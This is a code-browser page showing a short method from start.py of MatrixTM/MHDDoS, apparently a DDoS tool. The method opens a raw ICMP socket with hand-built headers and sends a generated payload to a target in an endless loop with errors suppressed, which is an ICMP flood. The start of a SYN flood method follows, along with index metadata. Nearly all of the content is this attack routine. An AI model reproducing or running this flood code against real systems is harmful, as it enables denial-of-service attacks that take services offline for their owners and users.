MCPcopy Index your code
hub / github.com/MatrixTM/MHDDoS / ICMP

Method ICMP

start.py:552–559  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

550 Tools.safe_close(s)
551
552 def ICMP(self) -> None:
553 payload = self._genrate_icmp()
554 s = None
555 with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) as s:
556 s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
557 while Tools.sendto(s, payload, self._target):
558 continue
559 Tools.safe_close(s)
560
561 def SYN(self) -> None:
562 s = None

Callers

nothing calls this directly

Calls 3

_genrate_icmpMethod · 0.95
sendtoMethod · 0.80
safe_closeMethod · 0.80

Tested by

no test coverage detected